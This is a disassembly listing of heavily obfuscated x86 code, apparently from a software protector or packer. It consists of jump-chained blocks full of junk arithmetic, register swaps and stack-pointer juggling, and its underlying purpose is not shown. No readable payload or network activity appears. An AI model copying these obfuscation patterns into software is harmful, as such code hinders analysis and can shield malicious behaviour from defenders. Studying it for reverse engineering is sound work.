		push	edx
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_5889BD
; ---------------------------------------------------------------------------


loc_58E6D9:				; CODE XREF: ud2_____:0057E833j
		push	ecx
		mov	ecx, 65016B82h
		add	ebx, ecx
		pop	ecx
		add	ebx, 68C46CEBh
		sub	ebx, 2531651h
		add	ebx, eax
		add	ebx, 2531651h
		push	edx
		mov	edx, 68C46CEBh
		add	ebx, 562502E4h
		sub	ebx, edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58F6C0
; ---------------------------------------------------------------------------


loc_58E712:				; CODE XREF: ud2_____:005926BAj
		xor	ecx, 0DA5C824Dh
		jmp	loc_590CC2
; ---------------------------------------------------------------------------


loc_58E71D:				; CODE XREF: ud2_____:0057E5BCj
		add	ebx, 2C061C4Dh
		jmp	loc_587401
; ---------------------------------------------------------------------------


loc_58E728:				; CODE XREF: ud2_____:00586DF5j
		push	esp
		jmp	loc_581276
; ---------------------------------------------------------------------------


loc_58E72E:				; CODE XREF: ud2_____:00586EC9j
		mov	eax, 691225A8h
		shl	eax, 6
		neg	eax
		jmp	loc_5874FF
; ---------------------------------------------------------------------------


loc_58E73D:				; CODE XREF: ud2_____:0058B609j
		pop	ecx
		xor	al, ch
		pop	ecx
		shl	al, 3
		sub	al, 12h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57FCD3
; ---------------------------------------------------------------------------


loc_58E751:				; CODE XREF: ud2_____:0059008Bj
		push	2D6B6DEAh
		pop	esi
		neg	esi
		neg	esi
		xor	esi, 2B276906h
		push	ecx
		mov	ecx, 184F5072h
		xor	esi, ecx
		pop	ecx
		push	esi
		sub	dword ptr [esp], 2509149Bh
		jmp	loc_586FD2
; ---------------------------------------------------------------------------


loc_58E777:				; CODE XREF: ud2_____:0058B9B6j
		add	edx, 250C3269h
		jmp	loc_580C0F
; ---------------------------------------------------------------------------


loc_58E782:				; CODE XREF: ud2_____:00585BF2j
		mov	esi, eax
		pop	eax
		mov	ecx, 10D97826h
		dec	ecx
		jmp	loc_57EEE6
; ---------------------------------------------------------------------------


loc_58E790:				; CODE XREF: ud2_____:00583E29j
		add	ebx, 0DB6BB4A1h
		jmp	loc_58E52A
; ---------------------------------------------------------------------------


loc_58E79B:				; CODE XREF: ud2_____:0058B4A2j
		inc	eax
		add	eax, 0B02AF7DFh
		add	edi, eax
		jmp	loc_58E574
; ---------------------------------------------------------------------------


loc_58E7A8:				; CODE XREF: ud2_____:00583B69j
		not	ecx
		push	edx
		jmp	loc_59211D
; ---------------------------------------------------------------------------


loc_58E7B0:				; CODE XREF: ud2_____:0058AB40j
		xchg	edx, ebx
		xor	ebx, 0EDB9BD65h
		mov	edi, ebx
		pop	ebx
		and	edi, 154015E7h
		push	eax
		jmp	loc_592832
; ---------------------------------------------------------------------------


loc_58E7C7:				; CODE XREF: ud2_____:00590154j
		mov	[esp], ebp
		push	0F6Bh
		jmp	loc_5874C1
; ---------------------------------------------------------------------------


loc_58E7D4:				; CODE XREF: ud2_____:005813F8j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57EDF5
; ---------------------------------------------------------------------------


loc_58E7DD:				; CODE XREF: ud2_____:0058FE93j
		mov	ebp, 15271C03h
		xor	ebp, 1E525767h
		xor	ebp, 2A247E3Eh
		jmp	loc_584DF5
; ---------------------------------------------------------------------------


loc_58E7F3:				; CODE XREF: ud2_____:005919E0j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_580DAE
; ---------------------------------------------------------------------------


loc_58E802:				; CODE XREF: ud2_____:0058738Dj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_57E8DD
; ---------------------------------------------------------------------------


loc_58E817:				; CODE XREF: ud2_____:0058544Fj
		add	dword ptr [esp], 4
		jmp	loc_5826A9
; ---------------------------------------------------------------------------


loc_58E823:				; CODE XREF: ud2_____:0058949Aj
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_586454
; ---------------------------------------------------------------------------


loc_58E834:				; CODE XREF: ud2_____:00584610j
		xor	dword ptr [esp], 19001EF8h
		pop	edx
		jmp	loc_57EFDA
; ---------------------------------------------------------------------------


loc_58E841:				; CODE XREF: ud2_____:00580B70j
		not	ebp
		shl	ebp, 3
		push	edi
		jmp	loc_58EDD0
; ---------------------------------------------------------------------------


loc_58E84C:				; CODE XREF: ud2_____:00584E1Aj
		mov	[esp], ebx
		jmp	loc_58BA88
; ---------------------------------------------------------------------------


loc_58E854:				; CODE XREF: ud2_____:00587A29j
		sub	edi, 12544320h
		push	edx
		mov	edx, edi
		mov	ebp, edx
		jmp	loc_57EA33
; ---------------------------------------------------------------------------


loc_58E864:				; CODE XREF: ud2_____:00588905j
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_58DF3B
; ---------------------------------------------------------------------------


loc_58E885:				; CODE XREF: ud2_____:0058ADCFj
		sub	esp, 4
		mov	[esp], esi
		push	592Dh
		mov	[esp], ebx
		push	eax
		mov	eax, 0AB27E19h
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	esi, 2251B00Ah
		jmp	loc_589F01
; ---------------------------------------------------------------------------


loc_58E8AB:				; CODE XREF: ud2_____:00589E84j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		mov	ebx, [esp]
		jmp	loc_5839A8
; ---------------------------------------------------------------------------


loc_58E8C4:				; CODE XREF: ud2_____:005900E1j
		push	dword ptr [esp]
		pop	ecx
		push	5603h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 4
		push	eax
		mov	eax, 69C26071h
		add	esi, eax
		jmp	loc_58C185
; ---------------------------------------------------------------------------


loc_58E8EB:				; CODE XREF: ud2_____:0058712Cj
		push	eax
		push	ebx
		mov	ebx, 3CE552A1h
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, eax
		jmp	loc_57F400
; ---------------------------------------------------------------------------


loc_58E901:				; CODE XREF: ud2_____:0059187Ej
		push	dword ptr [esp]
		pop	edi
		push	ebp
		jmp	loc_590665
; ---------------------------------------------------------------------------


loc_58E90B:				; CODE XREF: ud2_____:00581E5Cj
		mov	ebx, 709EC973h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5835A4
; ---------------------------------------------------------------------------


loc_58E91D:				; CODE XREF: ud2_____:0058C7FCj
		mov	ecx, ebp
		pop	ebp
		pop	edx
		push	edi
		mov	edi, ecx
		jmp	loc_58A64F
; ---------------------------------------------------------------------------


loc_58E929:				; CODE XREF: ud2_____:0058C3ACj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_583146
; ---------------------------------------------------------------------------


loc_58E94C:				; CODE XREF: ud2_____:00590B90j
		add	ecx, ebx
		add	ecx, 38D92956h
		pop	ebx
		add	ecx, 4
		jmp	loc_57FF14
; ---------------------------------------------------------------------------


loc_58E95D:				; CODE XREF: ud2_____:00590593j
		mov	edx, 66E94FDFh
		not	edx
		jmp	loc_58B687
; ---------------------------------------------------------------------------


loc_58E969:				; CODE XREF: ud2_____:00583875j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_58D5D6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	0BD3h
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58C9C7
; ---------------------------------------------------------------------------


loc_58E9A1:				; CODE XREF: ud2_____:0058E25Aj
		xor	[esp], ebx
		push	ebx
		push	eax
		pop	ebx
		pop	eax
		not	eax
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		push	esi
		jmp	loc_590B29
; ---------------------------------------------------------------------------


loc_58E9B6:				; CODE XREF: ud2_____:005823B1j
		pop	ecx
		push	ebx
		jmp	loc_584E1F
; ---------------------------------------------------------------------------


loc_58E9BD:				; CODE XREF: ud2_____:loc_590B66j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_580386
; ---------------------------------------------------------------------------


loc_58E9CA:				; CODE XREF: ud2_____:0058B96Aj
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, edi
		jmp	loc_58C648
; ---------------------------------------------------------------------------


loc_58E9D7:				; CODE XREF: ud2_____:00589FA8j
		xchg	edi, edx
		xor	edx, 777E4F31h
		xor	edx, 51986FF5h
		sub	eax, edx
		jmp	loc_592458
; ---------------------------------------------------------------------------


loc_58E9EC:				; CODE XREF: ud2_____:005814D1j
		mov	ebx, [esp]
		jmp	loc_58F11E
; ---------------------------------------------------------------------------


loc_58E9F4:				; CODE XREF: ud2_____:00587192j
		add	esi, 368F5D24h
		jmp	loc_58F46E
; ---------------------------------------------------------------------------


loc_58E9FF:				; CODE XREF: ud2_____:0058D20Bj
		sub	edi, esi
		pop	esi
		shr	edi, 7
		shl	edi, 3
		jmp	loc_589BEA
; ---------------------------------------------------------------------------


loc_58EA0D:				; CODE XREF: ud2_____:0057E494j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_590509
; ---------------------------------------------------------------------------


loc_58EA1B:				; CODE XREF: ud2_____:00582627j
		pop	esp
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58EA21:				; CODE XREF: ud2_____:0058136Dj
		mov	edi, 5547468Ch
		push	ecx
		mov	ecx, 5547468Eh
		xor	edi, ecx
		jmp	loc_587B06
; ---------------------------------------------------------------------------


loc_58EA33:				; CODE XREF: ud2_____:0058724Dj
		push	esi
		mov	esi, esp
		jmp	loc_58B389
; ---------------------------------------------------------------------------


loc_58EA3B:				; CODE XREF: ud2_____:00584D3Cj
		xchg	ebx, edx
		inc	edx
		jmp	loc_58CEDD
; ---------------------------------------------------------------------------


loc_58EA43:				; CODE XREF: ud2_____:00589E5Aj
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	ah, 9
		shl	ah, 3
		not	ah
		xor	ah, 9Ah
		sub	bh, 28h
		sub	bh, ah
		add	bh, 28h
		jmp	loc_58565B
; ---------------------------------------------------------------------------


loc_58EA61:				; CODE XREF: ud2_____:00588231j
		push	esi
		jmp	loc_5806FF
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	edx
		mov	edx, 1EDF5AACh
		shl	edx, 4
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		jmp	loc_58C045
; ---------------------------------------------------------------------------


loc_58EA7E:				; CODE XREF: ud2_____:00581C47j
		push	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_58EB26
; ---------------------------------------------------------------------------


loc_58EA90:				; CODE XREF: ud2_____:00581CBFj
		sub	eax, 2BF17AC5h
		sub	eax, edi
		add	eax, 2BF17AC5h
		jmp	loc_58BF39
; ---------------------------------------------------------------------------


loc_58EAA1:				; CODE XREF: ud2_____:0057E412j
		add	bl, ch
		pop	ecx
		jmp	loc_588AD5
; ---------------------------------------------------------------------------


loc_58EAA9:				; CODE XREF: ud2_____:0059146Ej
		add	esi, ebx
		sub	esi, 6FD24706h
		push	ebp
		mov	ebp, 3B30420Dh
		push	eax
		push	edx
		mov	edx, 76B25590h
		jmp	loc_589E99
; ---------------------------------------------------------------------------


loc_58EAC3:				; CODE XREF: ud2_____:00585A2Fj
		mov	dh, 0A5h
		push	68B9h
		jmp	loc_58AAA3
; ---------------------------------------------------------------------------


loc_58EACF:				; CODE XREF: ud2_____:005878F1j
		dec	eax
		inc	eax
		sub	eax, 2E2AE558h
		mov	ecx, eax
		jmp	loc_587DEE
; ---------------------------------------------------------------------------


loc_58EADD:				; CODE XREF: ud2_____:005838DFj
		add	ebp, 4956088Ch
		push	ebp
		jmp	loc_5854BE
; ---------------------------------------------------------------------------


loc_58EAE9:				; CODE XREF: ud2_____:0058AA1Bj
		shr	ebp, 1
		jmp	loc_588983
; ---------------------------------------------------------------------------


loc_58EAF0:				; CODE XREF: ud2_____:0057F5F3j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 93F1695h
		jmp	loc_57F1B4
; ---------------------------------------------------------------------------


loc_58EB19:				; CODE XREF: ud2_____:00585B92j
		push	ebp
		add	dword ptr [esp], 2FAF0851h
		jmp	loc_5897F6
; ---------------------------------------------------------------------------


loc_58EB26:				; CODE XREF: ud2_____:0058EA8Bj
		xchg	edx, [esp]
		jmp	loc_581D6A
; ---------------------------------------------------------------------------


loc_58EB2E:				; CODE XREF: ud2_____:005841EBj
		pop	ebp
		xor	ecx, ebp
		pop	ebp
		xor	ecx, 4F4229CDh
		add	eax, 72195AC5h
		add	eax, ecx
		sub	eax, 72195AC5h
		pop	ecx
		jmp	loc_58324A
; ---------------------------------------------------------------------------


loc_58EB4A:				; CODE XREF: ud2_____:0058FE38j
		dec	edx
		xchg	edx, ebx
		dec	ebx
		xor	ebx, 563C7332h
		jmp	loc_584916
; ---------------------------------------------------------------------------


loc_58EB59:				; CODE XREF: ud2_____:0058E504j
		xor	edi, [esp]
		jmp	loc_5844E4
; ---------------------------------------------------------------------------


loc_58EB61:				; CODE XREF: ud2_____:00591716j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_583902
; ---------------------------------------------------------------------------


loc_58EB6A:				; CODE XREF: ud2_____:0058F4AEj
		sub	esi, 3F69270Ah
		sub	esi, edx
		add	esi, 3F69270Ah
		pop	edx
		add	ebp, esi
		pop	esi
		jmp	loc_581801
; ---------------------------------------------------------------------------


loc_58EB81:				; CODE XREF: ud2_____:00592BE6j
		push	esi
		jmp	loc_589587
; ---------------------------------------------------------------------------


loc_58EB87:				; CODE XREF: ud2_____:00584AC4j
		pop	edi
		push	36ABh
		mov	[esp], edx
		jmp	loc_57F5AA
; ---------------------------------------------------------------------------


loc_58EB95:				; CODE XREF: ud2_____:00591324j
		add	esp, 4
		pop	ecx
		add	al, dl
		sub	al, 52h
		pop	edx
		push	edi
		jmp	loc_5878CB
; ---------------------------------------------------------------------------


loc_58EBA4:				; CODE XREF: ud2_____:00580E30j
		add	esp, 4
		jmp	loc_57EF35
; ---------------------------------------------------------------------------


loc_58EBAF:				; CODE XREF: ud2_____:00581F99j
		mov	ecx, 19F679DBh
		shr	ecx, 1
		jmp	loc_58E318
; ---------------------------------------------------------------------------


loc_58EBBB:				; CODE XREF: ud2_____:0058503Cj
		push	ebx
		mov	ebx, 84C568Ah
		xor	ebx, 742E1B91h
		xor	ebx, 206919CAh
		sub	edi, ebx
		pop	ebx
		sub	edi, edx
		add	edi, 5C0B54D1h
		pop	edx
		pop	eax
		add	edi, 2
		jmp	loc_580BD2
; ---------------------------------------------------------------------------


loc_58EBE5:				; CODE XREF: ud2_____:00582F23j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_58475F
; ---------------------------------------------------------------------------


loc_58EBF9:				; CODE XREF: ud2_____:00584111j
		not	ebp
		jmp	loc_58330A
; ---------------------------------------------------------------------------


loc_58EC00:				; CODE XREF: ud2_____:0058AD35j
		add	esi, 8C37DAEDh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 36E340C8h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, esi
		push	30FBh
		mov	[esp], edi
		jmp	loc_58AE34
; ---------------------------------------------------------------------------


loc_58EC23:				; CODE XREF: ud2_____:0058F0DCj
		sub	ebx, esi
		pop	esi
		sub	ebx, 51390C5Eh
		jmp	loc_587E06
; ---------------------------------------------------------------------------


loc_58EC31:				; CODE XREF: ud2_____:0058ED96j
		add	edi, 5B011CACh
		sub	edi, eax
		sub	edi, 5B011CACh
		pop	eax
		push	edi
		xchg	edx, [esp]
		xchg	ebp, edx
		not	ebp
		push	edx
		push	ebp
		pop	edx
		jmp	loc_58DEDD
; ---------------------------------------------------------------------------


loc_58EC50:				; CODE XREF: ud2_____:00584217j
		mov	esi, ebp
		jmp	loc_5880BA
; ---------------------------------------------------------------------------


loc_58EC57:				; CODE XREF: ud2_____:0057E7B4j
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		jmp	loc_58C710
; ---------------------------------------------------------------------------


loc_58EC62:				; CODE XREF: ud2_____:00592A53j
		push	728C75FDh
		pop	ebp
		push	25Dh
		mov	[esp], edx
		mov	edx, 13F528Ah
		push	72D0h
		mov	[esp], ebx
		push	edi
		jmp	loc_5877B5
; ---------------------------------------------------------------------------


loc_58EC83:				; CODE XREF: ud2_____:00584FA6j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58EC88:				; CODE XREF: ud2_____:00584249j
		neg	edi
		jmp	loc_5860C8
; ---------------------------------------------------------------------------


loc_58EC8F:				; CODE XREF: ud2_____:0058AE04j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 159E6127h
		shr	ecx, 1
		shr	ecx, 6
		xor	ecx, 2B3CC0h
		mov	edx, ecx
		jmp	loc_57FC6A
; ---------------------------------------------------------------------------


loc_58ECB9:				; CODE XREF: ud2_____:00592112j
		mov	ebx, 18872356h
		jmp	loc_584C54
; ---------------------------------------------------------------------------


loc_58ECC3:				; CODE XREF: ud2_____:0058AA7Fj
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_588FFE
; ---------------------------------------------------------------------------


loc_58ECCE:				; CODE XREF: ud2_____:0059225Bj
		mov	ebp, 4287E05h
		shr	ebp, 5
		and	ebp, 6B2D3647h
		jmp	loc_580B6D
; ---------------------------------------------------------------------------


loc_58ECE1:				; CODE XREF: ud2_____:00586997j
		add	esp, 4
		mov	dh, al
		pop	eax
		add	dh, 6Ah
		jmp	loc_58C8EA
; ---------------------------------------------------------------------------


loc_58ECF2:				; CODE XREF: ud2_____:0058AC42j
		push	edi
		pop	ebp
		pop	edi
		pop	ebx
		push	ebp
		add	dword ptr [esp], 759F5472h
		pop	ecx
		push	edi
		mov	edi, 4F5D6385h
		jmp	loc_590D35
; ---------------------------------------------------------------------------


loc_58ED0A:				; CODE XREF: ud2_____:0058B3CEj
		sub	ecx, eax
		add	ecx, 1C9848B6h
		pop	eax
		or	ecx, 19CD6487h
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 44655B6Dh
		not	ebp
		and	ebp, 31ED49AFh
		push	eax
		mov	eax, 11312390h
		inc	eax
		add	eax, 41FA33CBh
		sub	ebp, eax
		pop	eax
		xor	ebp, 2C292876h
		jmp	loc_58E457
; ---------------------------------------------------------------------------


loc_58ED4A:				; CODE XREF: ud2_____:0058D02Ej
		sub	[esp+8], eax
		pop	eax
		add	[esp+4], ecx
		push	edx
		mov	edx, 99879DEh
		add	[esp+8], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	dword ptr [esp+4], 5CEB7076h
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_58954C
; ---------------------------------------------------------------------------


loc_58ED7B:				; CODE XREF: ud2_____:00588C6Cj
		add	edx, esi
		pop	esi
		mov	esi, edx
		jmp	loc_586652
; ---------------------------------------------------------------------------


loc_58ED85:				; CODE XREF: ud2_____:00588A21j
		dec	eax
		push	edi
		mov	edi, 6F1064BFh
		shl	edi, 8
		dec	edi
		push	eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_58EC31
; ---------------------------------------------------------------------------


loc_58ED9B:				; CODE XREF: ud2_____:0057FC14j
		push	bx
		jmp	loc_581733
; ---------------------------------------------------------------------------


loc_58EDA2:				; CODE XREF: ud2_____:0058F451j
		push	edx
		push	1159h
		jmp	loc_57F1CA
; ---------------------------------------------------------------------------


loc_58EDAD:				; CODE XREF: ud2_____:00592381j
		mov	eax, 59211AA5h
		shl	eax, 1
		add	eax, 5DAF6DBAh
		shr	eax, 3
		jmp	loc_5858B5
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58EDD0:				; CODE XREF: ud2_____:0058E847j
		mov	edi, 656632D4h
		jmp	loc_5836A4
; ---------------------------------------------------------------------------


loc_58EDDA:				; CODE XREF: ud2_____:0058CF06j
		dec	ebx
		push	ecx
		mov	ecx, 66D543BBh
		add	ecx, 105A6449h
		jmp	loc_5904B0
; ---------------------------------------------------------------------------


loc_58EDEC:				; CODE XREF: ud2_____:0059219Ej
		xor	edx, 61F25302h
		push	esi
		mov	esi, 6B6A59DCh
		shl	esi, 7
		sub	esi, 1CF26485h
		xor	esi, 0B8C5D01Bh
		jmp	loc_5853A5
; ---------------------------------------------------------------------------


loc_58EE0C:				; CODE XREF: ud2_____:0059076Cj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_586D32
; ---------------------------------------------------------------------------


loc_58EE26:				; CODE XREF: ud2_____:0058F03Cj
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 22BD2973h
		dec	edi
		shr	edi, 1
		add	edi, 62803B11h
		jmp	loc_58C273
; ---------------------------------------------------------------------------


loc_58EE48:				; CODE XREF: ud2_____:0058BC0Ej
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58087F
; ---------------------------------------------------------------------------


loc_58EE6E:				; CODE XREF: ud2_____:00589CD8j
		add	esp, 4
		add	eax, 4
		jmp	loc_585F44
; ---------------------------------------------------------------------------


loc_58EE7E:				; CODE XREF: ud2_____:005803E1j
		mov	eax, 644A1D8Fh
		dec	eax
		add	eax, 13B1682h
		push	0
		sub	[esp], eax
		push	dword ptr [esp]
		jmp	loc_58295A
; ---------------------------------------------------------------------------


loc_58EE99:				; CODE XREF: ud2_____:00590FAAj
		sub	ebp, 467303EBh
		push	eax
		mov	eax, 705719Fh
		jmp	loc_58213E
; ---------------------------------------------------------------------------


loc_58EEAA:				; CODE XREF: ud2_____:00583E7Fj
		pop	eax
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	343Eh
		mov	[esp], ebx
		push	ecx
		mov	ch, dl
		push	eax
		sub	esp, 4
		mov	[esp], edx
		push	284h
		mov	[esp], eax
		jmp	loc_586857
; ---------------------------------------------------------------------------


loc_58EEDA:				; CODE XREF: ud2_____:00581076j
		or	edi, 2131141h
		xor	edi, 6D4D2F26h
		dec	edi
		jmp	loc_5829F1
; ---------------------------------------------------------------------------


loc_58EEEC:				; CODE XREF: ud2_____:0058BFF5j
		push	edx
		mov	edx, 62912162h
		sub	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 50F144E4h
		add	ecx, 5697723h
		jmp	loc_58CE88
; ---------------------------------------------------------------------------


loc_58EF06:				; CODE XREF: ud2_____:0058F012j
		mov	edi, [esp]
		jmp	loc_588B8B
; ---------------------------------------------------------------------------


loc_58EF0E:				; CODE XREF: ud2_____:0058C851j
		sub	ebx, 5BBE55A0h
		add	ebx, eax
		add	ebx, 5BBE55A0h
		jmp	loc_57F687
; ---------------------------------------------------------------------------


loc_58EF21:				; CODE XREF: ud2_____:005823BCj
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	782Ch
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_591423
; ---------------------------------------------------------------------------


loc_58EF36:				; CODE XREF: ud2_____:0057F8D1j
		xor	ch, ah
		xor	ah, ch
		neg	ch
		xchg	ch, ah
		push	edx
		jmp	loc_58F017
; ---------------------------------------------------------------------------


loc_58EF44:				; CODE XREF: ud2_____:005873E7j
		xor	edi, [esp]
		pop	esp
		jmp	loc_5882D0
; ---------------------------------------------------------------------------


loc_58EF4D:				; CODE XREF: ud2_____:00582095j
		neg	ebx
		xor	ebx, 8713A512h
		add	edi, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58D699
; ---------------------------------------------------------------------------


loc_58EF65:				; CODE XREF: ud2_____:00589D03j
		add	esp, 4
		not	esi
		shl	esi, 4
		push	4DAAh
		mov	[esp], eax
		mov	eax, 22E33504h
		add	esi, 529168E0h
		sub	esi, eax
		sub	esi, 529168E0h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_587F8A
; ---------------------------------------------------------------------------


loc_58EF91:				; CODE XREF: ud2_____:00580463j
		sub	esp, 4
		jmp	loc_5914A9
; ---------------------------------------------------------------------------


loc_58EF9C:				; CODE XREF: ud2_____:00581B37j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_58AFC7
; ---------------------------------------------------------------------------


loc_58EFAE:				; CODE XREF: ud2_____:005826BEj
		pop	esi
		sub	eax, 2
		xchg	eax, [esp]
		pop	esp
		mov	[esp], cx
		mov	cl, 0D1h
		push	ecx
		mov	cl, 48h
		sub	esp, 4
		mov	[esp], ecx
		not	byte ptr [esp]
		mov	ecx, [esp]
		jmp	loc_59138A
; ---------------------------------------------------------------------------


loc_58EFD2:				; CODE XREF: ud2_____:00589EC6j
		add	eax, 7E973801h
		pop	edx
		not	eax
		push	esi
		mov	esi, 0FA257B71h
		add	eax, esi
		pop	esi
		jmp	loc_5916DB
; ---------------------------------------------------------------------------


loc_58EFE8:				; CODE XREF: ud2_____:0057F100j
		pop	ebx
		sub	ebx, 2E200E97h
		jmp	loc_57FE17
; ---------------------------------------------------------------------------


loc_58EFF4:				; CODE XREF: ud2_____:00580F7Ej
		xor	eax, ebp
		pop	ebp
		push	1430h
		mov	[esp], ebp
		jmp	loc_58760D
; ---------------------------------------------------------------------------


loc_58F004:				; CODE XREF: ud2_____:0058475Aj
		push	edi
		mov	edi, 3A622A99h
		sub	edi, 0BEC0B5F4h
		or	ebx, edi
		jmp	loc_58EF06
; ---------------------------------------------------------------------------


loc_58F017:				; CODE XREF: ud2_____:0058EF3Fj
		mov	dh, 3Fh
		xor	dh, ah
		xor	ah, dh
		xor	dh, ah
		not	ah
		xchg	ah, dh
		sub	dh, 1
		inc	dh
		and	dh, 52h
		jmp	loc_581E61
; ---------------------------------------------------------------------------


loc_58F030:				; CODE XREF: ud2_____:0058B931j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58EE26
; ---------------------------------------------------------------------------


loc_58F041:				; CODE XREF: ud2_____:0058625Aj
		mov	[esp], edx
		push	eax
		mov	eax, 397E779Eh
		jmp	loc_5834EC
; ---------------------------------------------------------------------------


loc_58F04F:				; CODE XREF: ud2_____:0057E17Dj
		add	edi, 43802093h
		sub	edx, 188729F9h
		jmp	loc_591371
; ---------------------------------------------------------------------------


loc_58F060:				; CODE XREF: ud2_____:005897BEj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_58943E
; ---------------------------------------------------------------------------


loc_58F072:				; CODE XREF: ud2_____:00580047j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_58F57A
; ---------------------------------------------------------------------------


loc_58F08D:				; CODE XREF: ud2_____:00585374j
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		push	dword ptr [esp]
		jmp	loc_584A0A
; ---------------------------------------------------------------------------


loc_58F0A5:				; CODE XREF: ud2_____:0057EA90j
		mov	ecx, 44C00CC3h
		xor	ecx, 226FC64Fh
		sub	edx, ecx
		pop	ecx
		mov	ecx, edx
		pop	edx
		add	ecx, 0FFFFFFFFh
		jmp	loc_5809FD
; ---------------------------------------------------------------------------


loc_58F0C1:				; CODE XREF: ud2_____:00587F90j
		or	esi, 3D1516D8h
		push	edi
		mov	edi, 1C07FD89h
		sub	esi, 2E685BC4h
		sub	esi, edi
		add	esi, 2E685BC4h
		pop	edi
		jmp	loc_58EC23
; ---------------------------------------------------------------------------


loc_58F0E1:				; CODE XREF: ud2_____:0058A592j
		add	edi, ebp
		jmp	loc_586D10
; ---------------------------------------------------------------------------


loc_58F0E8:				; CODE XREF: ud2_____:005803BFj
		not	bl
		mov	dh, bl
		pop	ebx
		add	dh, 0Bh
		push	ecx
		mov	cl, 43h
		jmp	loc_590DD5
; ---------------------------------------------------------------------------


loc_58F0F8:				; CODE XREF: ud2_____:00589740j
		mov	edx, esp
		jmp	loc_58660E
; ---------------------------------------------------------------------------


loc_58F0FF:				; CODE XREF: ud2_____:00590173j
		add	esp, 4
		or	esi, 6EF326A5h
		xor	esi, 255C5517h
		add	esi, 24585C57h
		and	eax, esi
		jmp	loc_58F726
; ---------------------------------------------------------------------------


loc_58F11E:				; CODE XREF: ud2_____:0058E9EFj
		add	esp, 4
		sub	esp, 4
		jmp	loc_5923A6
